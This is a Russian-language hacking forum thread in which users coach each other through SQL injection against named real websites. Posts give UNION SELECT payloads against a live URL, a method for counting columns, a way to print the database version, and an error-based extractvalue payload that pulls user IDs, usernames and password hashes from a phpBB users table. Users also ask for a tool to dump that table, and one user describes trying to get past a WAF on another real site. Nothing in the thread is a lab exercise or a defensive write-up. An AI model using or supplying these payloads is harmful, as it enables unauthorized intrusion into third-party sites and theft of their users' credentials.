
28.12.2011, 14:04
|
|
Постоянный
Регистрация: 17.09.2011
Сообщений: 390
С нами:
7712246
Репутация:
23
|
|
Сообщение от Ereee
http://www.afr.ru/region/(303)and(1)=(1)union(select(1),2,3)#
и т.д.
как версию БД тут вывести?
|
|
|

28.12.2011, 14:13
|
|
Moderator - Level 7
Регистрация: 10.03.2009
Сообщений: 1,013
С нами:
9038208
Репутация:
1521
|
|
Сообщение от er9j6@
как версию БД тут вывести?
@@version
|
|
|

28.12.2011, 14:17
|
|
Постоянный
Регистрация: 17.09.2011
Сообщений: 390
С нами:
7712246
Репутация:
23
|
|
Сообщение от Lilo
@@version
http://www.afr.ru/region/(303)and(1)=(0)union(select(@@version),@@version,@ @version)#
Не могу найти вывод.
|
|
|

28.12.2011, 14:22
|
|
Постоянный
Регистрация: 01.12.2011
Сообщений: 560
С нами:
7604246
Репутация:
267
|
|
Сообщение от er9j6@
http://www.afr.ru/region/(303)and(1)=(0)union(select(@@version),@@version,@ @version)#
Не могу найти вывод.
Блин... Сначал найди кол-во:
http://www.afr.ru/region/(303)and(1)=(0)union(select(1),2,3)#
http://www.afr.ru/region/(303)and(1)=(0)union(select(1),2,3,4)#
и т.д. пока не исчезнет ошибка...
|
|
|

28.12.2011, 17:09
|
|
Новичок
Регистрация: 24.07.2011
Сообщений: 5
С нами:
7791446
Репутация:
0
|
|
1 and extractvalue(rand(),concat(0x3a,(select concat(char(58),user_id,char(58),username,char(58) ,user_password) from phpbb_users limit 1001,1)))--
подскажите прогу чтоб сдампить таблицу, стоит форум phpbb
|
|
|

28.12.2011, 17:12
|
|
Познавший АНТИЧАТ
Регистрация: 09.11.2009
Сообщений: 1,077
С нами:
8686406
Репутация:
265
|
|
Сообщение от p3d
1 and extractvalue(rand(),concat(0x3a,(select concat(char(58),user_id,char(58),username,char(58) ,user_password) from phpbb_users limit 1001,1)))--
подскажите прогу чтоб сдампить таблицу, стоит форум phpbb
https://rdot.org/forum/showthread.php?t=519
|
|
|

28.12.2011, 17:29
|
|
Новичок
Регистрация: 24.07.2011
Сообщений: 5
С нами:
7791446
Репутация:
0
|
|
там окончание лимит нужно, а тут скобки
|
|
|

28.12.2011, 17:36
|
|
Познавший АНТИЧАТ
Регистрация: 09.11.2009
Сообщений: 1,077
С нами:
8686406
Репутация:
265
|
|
Сообщение от p3d
там окончание лимит нужно, а тут скобки
https://rdot.org/forum/showthread.php?t=1142 попробуй этим.
|
|
|

28.12.2011, 18:22
|
|
Постоянный
Регистрация: 01.12.2011
Сообщений: 560
С нами:
7604246
Репутация:
267
|
|
Сообщение от p3d
там окончание лимит нужно, а тут скобки
Не надо, там новая версия лежить, с новыми возможностями!
|
|
|

29.12.2011, 20:44
|
|
Познающий
Регистрация: 07.11.2011
Сообщений: 91
С нами:
7638806
Репутация:
-6
|
|
Код:
http://ogra.org.pk/cats_disp.php?cat=-172
It has 8 order by.
I cannot get tables.
It's WAF and I've tried all my WAF skills.
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|